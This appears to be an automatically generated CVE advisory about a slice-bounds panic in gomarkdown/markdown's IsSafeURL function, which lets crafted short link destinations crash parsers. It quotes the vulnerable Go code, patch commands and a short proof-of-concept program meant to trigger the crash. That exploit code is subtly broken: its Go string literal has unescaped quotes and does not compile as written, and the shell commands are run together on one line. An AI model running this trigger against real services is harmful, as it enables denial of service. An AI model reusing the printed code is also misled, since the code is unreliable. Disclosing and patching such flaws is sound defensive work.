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The vulnerability arises due to an insecure slice operation in the `IsSafeURL` function within `parser/parser.go` of the `gomarkdown/markdown` library. When processing links with destination paths shorter than the required prefix bounds (specifically zero, one, or two bytes such as empty strings, “.”, or “..”), the code attempts to slice the URL using `url[:nPath]` prior to verifying that the length of the link satisfies nLink >= nPath. Because this length check and boundary guard are performed too late, any input lacking sufficient byte length triggers a fatal slice-bounds panic. When services enable the `html.Safelink` hardening flag or call the exported `IsSafeURL` method directly on malformed short inputs, the unrecovered panic crashes the executing goroutine. Since applications handling untrusted markdown lack recovering middleware for this path, attackers can exploit this behavior remotely to launch unrecoverable denial-of-service attacks against parser instances.
DailyCVE Form:
Platform: Go library
Version: All prior
Vulnerability : Slice-Bounds Panic
Severity: High
date: 2026-04-21
Prediction: Already patched
What Undercode Say:
Bash Commands:
go get github.com/gomarkdown/markdown@latest go test -v ./parser/...
Code Analysis:
nLink := len(url)
for _, path := range validPaths {
nPath := len(path)
linkPrefix := url[:nPath] // Vulnerable slice before check
if nLink >= nPath && bytes.Equal(linkPrefix, path) {
...
}
}
Exploit: (Educational Purposes!)
package main
import (
"github.com/gomarkdown/markdown"
"github.com/gomarkdown/markdown/html"
)
func main() {
input := []byte("<a href="">x</a>")
renderer := html.NewRenderer(html.RendererOptions{Flags: html.CommonFlags | html.Safelink})
markdown.ToHTML(input, nil, renderer)
}
Protection: from this CVE
Update the `[github.com/gomarkdown/markdown](https://github.com/gomarkdown/markdown)` package to the latest version where the slice operation is correctly placed behind the length validation guard, or utilize safe prefix checking methods like bytes.HasPrefix.
Impact:
Remote attackers can submit crafted markdown inputs containing extremely short or empty link destinations to trigger unhandled slice-bounds panics, causing continuous crashes and denial of service in dependent applications.
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Sources:
Reported By: github.com
Extra Source Hub:
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